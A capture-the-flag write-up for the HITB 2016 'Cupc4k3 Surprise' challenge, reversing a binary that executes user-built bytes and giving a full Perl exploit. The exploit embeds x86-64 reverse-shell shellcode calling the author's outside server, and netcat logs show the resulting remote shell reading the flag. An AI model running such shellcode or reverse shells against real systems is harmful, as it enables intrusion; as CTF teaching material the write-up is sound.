HITB CTF Teaser - Cupc4k3 Surprise

Pastries have been the driving force in culinary innovation for centuries. And no pastry type has pushed the boundries further or faster than the iconic Cupcake. Today, you will show us your skill and creativity by creating a truely orginal Cupcake, using nothing but the ingredients in our specially prepared Cupcake Bakery. You can find the Cupcake Bakery at 52.17.31.229:31337. We will even give you a layout of the bakery.

Let's fire up radare2:

$ r2 -A 910abf341053d25831ecb465b7ddf738 
 -- I nodejs so hard my exams.What a nodejs!
[0x00400920]> afl
0x00400920  42  1  entry0
0x00400880  16  2  sym.imp.__libc_start_main
0x00400b72  933  16  main
0x00400800  16  2  sym.imp.putchar
0x00400810  16  2  sym.imp.strncmp
0x00400820  16  2  sym.imp.puts
0x00400830  16  2  sym.imp.strlen
0x00400840  16  2  sym.imp.__stack_chk_fail
0x00400850  16  2  sym.imp.mmap
0x00400860  16  2  sym.imp.printf
0x00400870  16  2  sym.imp.memset
0x00400890  16  2  sym.imp.srand
0x004008a0  16  2  sym.imp.fgets
0x004008c0  16  2  sym.imp.time
0x004008d0  16  2  sym.imp.fflush
0x004008e0  16  2  sym.imp.vfprintf
0x004008f0  16  2  sym.imp.strstr
0x00400900  16  2  sym.imp.rand
0x00400910  16  2  sym.imp.usleep
0x00400950  50  4  fcn.00400950
0x00400a16  255  5  fcn.00400a16
0x00400b15  93  4  fcn.00400b15
0x004007c8  26  3  fcn.004007c8
0x004008b0  16  2  loc.imp.__gmon_start__
[0x00400920]> 

Nothing special, big main method and some functions. After looking at the disassembled code for a while, I decided to just start reversing the assembly to pseudo-code:

int main() {
  // Starts at rbp-0x100
  char* ingredients = {"FLOUR", "SUGAR", "STRAWBERRY", "BANANA", "WATER", "HONEY", "LEMON", "WALNUT", 
  "CHOCOLATE", "SPRINKLES", "RASPBERRY", "EGG", "BUTTER", "RAISIN"}; 

  puts("Birthday cake");
  fcn.00400a16("welcome to da bakery!\n");
  usleep(100000);
  fcn.00400a16("we have the following ingredients stocked:\n");
  usleep(100000);

  // Print all the ingredients
  local_36 = 0;
  while(local_36 <= 13) {
    char* ingr = ingredients[local_36];
    printf("(%i) %s\n", local_36, ingr);
    usleep(100000);
    local_36++;
  }
  putchar("\n");

  // Create executable memory section at local_34.
  // http://unix.superglobalmegacorp.com/Net2/newsrc/sys/mman.h.html
  local_34 = mmap(0, 0x1000, 7, 0x22, -1, 0); // RWX, MAP_COPY & MAP_ANON
  memset(local_34, 0xc3, 0x1000); // c3 is assembly for 'ret'
  srand(time(0));
  a = byte(rand()); // byte(a) is 'al' from eax
  fcn.00400a16("0v3n w4rm3d up to %d d3greez! (d4mn h0t!)\n", a * 0x1337); 
  usleep(100000);

  // Copy begin address of buffer
  local_35 = local_34;
  rbp - 0x11c = 0;

  while(1) { 
    printf("add ingredient");
    fflush(0);
    fgets(local_18, 0x7f, stdin);
    local_18[strlen(local_18)-1] = '\x00';
    if(strncmp(local_18, "BAKE", 4) == 0) { // 0x400e94
      usleep(100000);
      fcn.00400a16("time 2 turn 0n da 0ven.. heheh...");
      usleep(100000);

      // Call the buffer where we stored the bytes from our ingredients...
      // Free call to shellcode basically...
      local_33 = local_34;
      call local_33(local_34);

      usleep(100000);
      fcn.00400a16("w0w.._your_cupc4k3_is_t0tally_burnt:((:____b3tt3r_luck_n3xt_tym3\n");
      usleep(100000);
      break;
    } else { // 0x00400ddc
      local_36_2 = 0;
      rbp - 0x11c = 0;
      local_36 = 0;
      while(local_36 <= 13) {
        // returns pointer to first occurence of the ingredient if found or NULL
        if(strstr(local_18, ingredients[local_36])) {
          local_36_2 += byte(fcn.00400b15(local_18, a)); // a is the random byte, remember..
          rbp - 0x11c = 1; // Found a match!
        } else {
          local_36++;
        }
      }
      if(rbp - 0x11c != 0) {
        local_35 = local_36_2;
        local_35++;
      }
    }
  }
}

char fcn.00400b15(char* input, int random_number) {
  return_val = random_number;
  i = 0;

  while(strlen(input) > i) {
    return_val += input[i];
    i++;
  }

  return return_val;
}

For every ingredient that is added, a one-byte value is generated (fcn.00400b15). This value is added to a buffer. When you 'bake', you just jump to that buffer and interpret the bytes as machine code.

We just need to make sure that the ingredient that we add, contains one of the ingredients listed in the string (because of the strstr() function). Adding one extra character allows us to put any value in the buffer. The random value is known as well, since this just the temperature being outputted divided by 0x1337.

Exploiting is thus trivial: For every byte in our shellcode, we push an ingredient appended with our special byte that will result in the byte of the shellcode being calculated by the fcn.00400b15 function. For the shellcode, I chose the following: http://shell-storm.org/shellcode/files/shellcode-857.php

use strict;
use warnings;
use IO::Socket::INET;

#####
#my $ip = "127.0.0.1";
#my $port = 4000;
my $ip = "52.17.31.229";
my $port = 31337;
my $protocol = "tcp";

# 52.201.225.218 is my Amazon instance IP.
my $shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x34\xc9\xe1\xda\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"; # Reverse shell to 52.201.225.218:31337
#####

my $socket = new IO::Socket::INET(
    PeerHost => $ip,
    PeerPort => $port,
    Proto => $protocol,
);
die "[-] Could not connect: $!\n" unless $socket;
print "[+] Connected to $ip:$port\n";

my $useless = $socket->getline();
while($useless !~ /0v3n w4rm3d up/) {
    print "[+] Line: $useless";
    $useless = $socket->getline();
}

print "[+] Line: $useless";
my ($temperature) = ($useless =~ /0v3n w4rm3d up to (\d+) d3greez/);
print "[+] Temperature is $temperature.\n";
my $random_value = $temperature / 0x1337;
print "[+] Random value used is $random_value\n";

my $i = 0;
while($i < length($shellcode)) {
    # Get character to print into buffer
    my $char = substr $shellcode, $i, 1;
    print "[+] Char is: " . unpack("H*", $char) . "\n";
    my $value = $random_value + 69 + 71 + 71;
    my $ascii_val = calculate_ascii_value($value, $char);
    $socket->write("EGG" . chr($ascii_val) . "\n", 5);
    $i++;
}

print "[+] Baking...\n";
$socket->write("BAKE\n", 5);
$i = 0;
while($i <= 30) {
    sleep(1);
    print "Line: " . $socket->getline();
    $i++;
}

$socket->close();

sub calculate_ascii_value {
    my ($v, $c) = @_;
    my $sol;
    foreach(0..255) {
        my $a = $v + $_;
        $a = $a & 0xff;
        $sol = $_ if $a == ord($c);
    }
    return $sol;
}

As can be noted from the comments in the code, I just use a reverse TCP shell as my shellcode. To make sure the HITB instance can connect, I just spun up an EC2 instance and ran netcat.

Testing with local service, which ran with QIRA on port 4000 (qira -Ss cupcake) so I could debug:

$ perl cupcake.pl 
[+] Connected to 127.0.0.1:4000
[+] Line: 
[+] Line: 
[+] Line:           )
[+] Line:          (.)
[+] Line:          .|.
[+] Line:          l7J
[+] Line:          | |
[+] Line:      _.--| |--._
[+] Line:   .-';  ;`-'& ; `&.
[+] Line:  & &  ;  &   ; ;   \
[+] Line:  \      ;    &   &_/
[+] Line:   F"""---...---"""J
[+] Line:   | | | | | | | | |
[+] Line:   J | | | | | | | F
[+] Line:    `---.|.|.|.---'
[+] Line: 
[+] Line: 
[+] Line: [♥] welcome to da bakery!
[+] Line: [♥] we have the following ingredients stocked:
[+] Line: 
[+] Line:  (00) FLOUR
[+] Line:  (01) SUGAR
[+] Line:  (02) STRAWBERRY
[+] Line:  (03) BANANA
[+] Line:  (04) WATER
[+] Line:  (05) HONEY
[+] Line:  (06) LEMON
[+] Line:  (07) WALNUT
[+] Line:  (08) CHOCOLATE
[+] Line:  (09) SPRINKLES
[+] Line:  (10) RASPBERRY
[+] Line:  (11) EGG
[+] Line:  (12) BUTTER
[+] Line:  (13) RAISIN
[+] Line: 
[+] Line: [♥] 0v3n w4rm3d up to 1175641 d3greez! (d4mn h0t!)
[+] Temperature is 1175641.
[+] Random value used is 239
[+] Char is: 48
[+] Char is: 31
[+] Char is: c0
[+] Char is: 48
[+] Char is: 31
[+] Char is: ff
[+] Char is: 48
[+] Char is: 31
[+] Char is: f6
[+] Char is: 48
[+] Char is: 31
[+] Char is: d2
[+] Char is: 4d
[+] Char is: 31
[+] Char is: c0
[+] Char is: 6a
[+] Char is: 02
[+] Char is: 5f
[+] Char is: 6a
[+] Char is: 01
[+] Char is: 5e
[+] Char is: 6a
[+] Char is: 06
[+] Char is: 5a
[+] Char is: 6a
[+] Char is: 29
[+] Char is: 58
[+] Char is: 0f
[+] Char is: 05
[+] Char is: 49
[+] Char is: 89
[+] Char is: c0
[+] Char is: 48
[+] Char is: 31
[+] Char is: f6
[+] Char is: 4d
[+] Char is: 31
[+] Char is: d2
[+] Char is: 41
[+] Char is: 52
[+] Char is: c6
[+] Char is: 04
[+] Char is: 24
[+] Char is: 02
[+] Char is: 66
[+] Char is: c7
[+] Char is: 44
[+] Char is: 24
[+] Char is: 02
[+] Char is: 7a
[+] Char is: 69
[+] Char is: c7
[+] Char is: 44
[+] Char is: 24
[+] Char is: 04
[+] Char is: 34
[+] Char is: c9
[+] Char is: e1
[+] Char is: da
[+] Char is: 48
[+] Char is: 89
[+] Char is: e6
[+] Char is: 6a
[+] Char is: 10
[+] Char is: 5a
[+] Char is: 41
[+] Char is: 50
[+] Char is: 5f
[+] Char is: 6a
[+] Char is: 2a
[+] Char is: 58
[+] Char is: 0f
[+] Char is: 05
[+] Char is: 48
[+] Char is: 31
[+] Char is: f6
[+] Char is: 6a
[+] Char is: 03
[+] Char is: 5e
[+] Char is: 48
[+] Char is: ff
[+] Char is: ce
[+] Char is: 6a
[+] Char is: 21
[+] Char is: 58
[+] Char is: 0f
[+] Char is: 05
[+] Char is: 75
[+] Char is: f6
[+] Char is: 48
[+] Char is: 31
[+] Char is: ff
[+] Char is: 57
[+] Char is: 57
[+] Char is: 5e
[+] Char is: 5a
[+] Char is: 48
[+] Char is: bf
[+] Char is: 2f
[+] Char is: 2f
[+] Char is: 62
[+] Char is: 69
[+] Char is: 6e
[+] Char is: 2f
[+] Char is: 73
[+] Char is: 68
[+] Char is: 48
[+] Char is: c1
[+] Char is: ef
[+] Char is: 08
[+] Char is: 57
[+] Char is: 54
[+] Char is: 5f
[+] Char is: 6a
[+] Char is: 3b
[+] Char is: 58
[+] Char is: 0f
[+] Char is: 05
[+] Baking...

On Amazon (of course, run netcat before running the Perl script locally):

ubuntu@ip-172-31-51-206:~$ netcat -lvp 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [91.179.238.243] port 31337 [tcp/*] accepted (family 2, sport 58349)
id
uid=1001(fagrant) gid=1000(admin) groups=1000(admin),100(users),109(vboxsf)
^C

Running the exploit with the actual service:

ubuntu@ip-172-31-51-206:~$ netcat -lvp 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [52.17.31.229] port 31337 [tcp/*] accepted (family 2, sport 43154)
id
uid=1001(bakery) gid=1001(bakery) groups=1001(bakery)
ls
bin
boot
dev
etc
home
initrd.img
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
ls /home/
bakery
ubuntu
ls /home/bakery
YOU_WANT_THIS_ONE
bakery
cat /home/bakery/YOU_WANT_THIS_ONE
You win! The flag is HITB{24d467d954cc08efbfa6acd8341e55d7}
^C

flag: HITB{24d467d954cc08efbfa6acd8341e55d7}

*****
Written by Adriaan Dens on 03 April 2016